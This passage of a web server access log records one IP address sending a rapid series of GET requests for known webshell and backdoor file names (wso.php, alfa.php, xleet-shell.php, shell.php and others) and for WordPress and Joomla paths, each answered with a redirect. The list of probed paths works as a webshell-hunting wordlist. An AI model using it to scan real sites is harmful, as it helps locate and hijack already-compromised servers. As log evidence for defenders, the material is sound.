SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:55:59 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:56:01 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:56:05 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:56:07 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:56:12 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:56:17 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:56:23 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:56:31 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:56:36 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:56:40 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:56:44 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:56:49 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:56:55 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:57:01 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:57:09 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:57:13 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:57:18 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:57:21 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:57:26 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:57:30 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:57:34 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:57:38 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:57:53 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:57:57 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:01 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:08 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:11 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:16 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:21 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:25 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:29 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:31 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:33 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:37 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:39 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:44 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:48 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:53 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:58:56 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:59:02 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:59:06 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:59:14 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:59:17 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:59:22 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:59:26 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:59:30 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:59:36 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:59:41 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:59:45 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:59:52 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [22/Apr/2025:23:59:59 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:00:04 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:00:08 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:00:15 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:00:22 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:00:32 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:48 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:53 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:59 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:03:02 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:03:05 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:03:10 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:03:17 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:03:21 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:03:24 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:03:28 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:03:36 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:03:38 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:03:42 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:03:47 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:03:52 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:03:57 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:00:38 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:00:47 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:00:53 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:00:59 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:01:02 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:01:07 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:01:18 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:01:22 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:01:30 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:01:38 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:01:44 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:01:48 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:01:52 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:01:57 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:05 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:13 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:15 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:18 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:20 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:23 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 167.172.21.236 - - [23/Apr/2025:00:02:26 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 